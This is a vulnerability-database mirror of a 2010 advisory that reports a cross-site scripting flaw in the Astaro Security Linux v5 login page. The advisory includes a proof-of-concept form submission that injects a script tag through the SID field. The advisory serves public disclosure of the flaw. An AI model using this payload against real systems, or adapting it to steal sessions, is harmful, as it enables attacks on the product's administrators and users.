Lucene search
K

Astaro Security Linux 5 Cross Site Scripting

🗓️ 23 Mar 2010 00:00:00Reported by Vincent HautotType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

Astaro Security Linux v5 XSS on index.fpl login form, execute JavaScript code

Code
`Program : Astaro Security Linux v5  
PoC : XSS  
Homepage : http://www.astaro.com/  
Found by : Vincent Hautot  
Contact : v.hautot () sysdream com  
  
//----- Application description  
  
Astaro Security Linux is a complete network security solution that  
protects organizations against a wide range of threats to security  
and productivity.  
  
  
//----- Description of vulnerability  
  
This Xss was found on index.fpl page in the login form. Usig this flaw  
it is possible to execute Javascript code.  
Posting using multipart/form-data does not work ; use this data instead:  
  
[email protected]&password=DTC&SID=>"><script>alert("XSS !!!")</script>  
&cur_width=1&window_height=700&id=0121&jaction=none&frameset=active&new_id=0  
  
  
//----- Credits  
  
http://www.sysdream.com/article.php?story_id=326&section_id=78  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Mar 2010 00:00Current
0.1Low risk
Vulners AI Score0.1
33